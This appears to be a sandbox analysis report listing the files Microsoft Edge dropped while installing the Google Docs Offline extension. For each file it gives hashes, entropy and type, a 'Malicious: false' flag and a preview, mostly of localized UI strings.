Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\0628f206-b5f4-42fd-9e89-632c81c301c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

